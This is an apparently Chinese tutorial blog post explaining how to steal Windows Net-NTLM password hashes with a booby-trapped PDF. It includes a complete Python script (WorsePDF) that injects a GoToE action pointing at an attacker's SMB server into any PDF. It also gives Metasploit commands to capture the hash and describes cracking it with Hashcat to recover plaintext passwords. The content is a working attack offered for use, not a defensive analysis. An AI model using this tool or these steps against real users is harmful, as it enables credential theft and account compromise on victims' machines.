1. 程式人生 > 實用技巧 >利用PDF獲取NTLMhash

利用PDF獲取NTLMhash

簡介:

當用戶使用PDF閱讀器開啟一份惡意的PDF文件,該PDF會向遠端SMB伺服器發出請求,如果該遠端SMB伺服器對資料包進行抓取,就能夠獲得使用者Windows系統的Net NTLM Hash,通過使用Hashcat暴力破解還原就有可能獲得使用者系統的明文密碼。

原理:

在 PDF 規範允許為 GoTobe 和 GoToR 條目來載入遠端資料,正是利用這一特效能夠幫我們請求遠端惡意 smb 伺服器,以此達到截獲目標系統使用者密碼 hash 的目的。

具體思路:

構造一份特殊的PDF文件,請求SMB伺服器的一份檔案
在SMB伺服器上抓包
使用者使用PDF閱讀器開啟PDF文件時,Windows系統將當前使用者的Net NTLM Hash傳送到SMB伺服器
SMB伺服器提取出Net NTLM Hash,使用Hashcat進行破解
還原出使用者的明文密碼
根據使用者的明文密碼嘗試進一步利用

使用如下指令碼進行構造惡意的PDF檔案:

import sys

def AddPayload(Data,ip):
    Payload = '/AA <</O <</F (\\\\\\\\' + ip + '\\\\test)/D [ 0 /Fit]/S /GoToE>>>>'
    index1 = Data.find('/Parent') + 13
#    print "%x" % index1
    Newdata = Data[0:index1] + Payload + Data[index1:]
    return Newdata

if __name__ == "__main__":
    print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines."



    if len(sys.argv)!=3:
        print ('Usage:')
        print ('    WorsePDF.py <normal PDF file Path> <ServerIP>')
        sys.exit(0)

    print "[*]NormalPDF: %s" % sys.argv[1]
    print "[*]ServerIP: %s" % sys.argv[2]

    file_object = open(sys.argv[1],'rb')
    try:
         all_the_text = file_object.read( )
    finally:
         file_object.close()

    Newdata = AddPayload(all_the_text,sys.argv[2])
    MaliciousPath = sys.argv[1] + '.malicious.pdf'

    print "[+]MaliciousPDF: %s" % MaliciousPath
    file_object2 = open(MaliciousPath, 'wb')
    file_object2.write(Newdata)
    file_object2.close()
    print "[*]All Done"

構造檔案如下,這裡ip是msf的ip:

msf接收發過來的ntlm認證資料:

msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb) > set johnpwfile pdf
msf5 auxiliary(server/capture/smb) > run

使用abode reader開啟:

獲得監聽如下:

獲得ntlmhash資料包如下:

以此進一步進行解密即可完成利用